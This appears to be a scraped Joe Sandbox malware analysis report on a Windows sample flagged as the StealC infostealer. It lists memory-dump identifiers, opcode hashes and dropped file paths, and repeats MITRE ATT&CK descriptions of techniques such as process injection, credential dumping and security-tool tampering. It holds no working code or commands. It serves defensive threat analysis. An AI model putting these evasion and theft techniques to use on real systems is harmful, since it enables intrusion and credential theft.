Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4c9fd850469668223e100668a7c07c17612f891dd94f4dedf454bcc188cbc86d
Instruction ID: 03eadb7ef2226eb87d701addb5c2bff6fdf4147e95a588b0086bcb5ed6340967
Opcode Fuzzy Hash: 4c9fd850469668223e100668a7c07c17612f891dd94f4dedf454bcc188cbc86d
Instruction Fuzzy Hash: D031C171A056149BDB18CF18CA8066ABBB5FF85320F10467EEC62AB3D5CB349D01CBE5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBA

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

C:\ProgramData\ECGDHIDAAFHIIDGDBFIE

C:\ProgramData\HDBKJEGIEBFHCAAKKEBA

C:\ProgramData\IEBFIEBA

C:\ProgramData\JJDBAAEGDBKKECBGIJEBGDAEBF

C:\ProgramData\JJJJKEHC

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Function 0006D18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00060E68 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre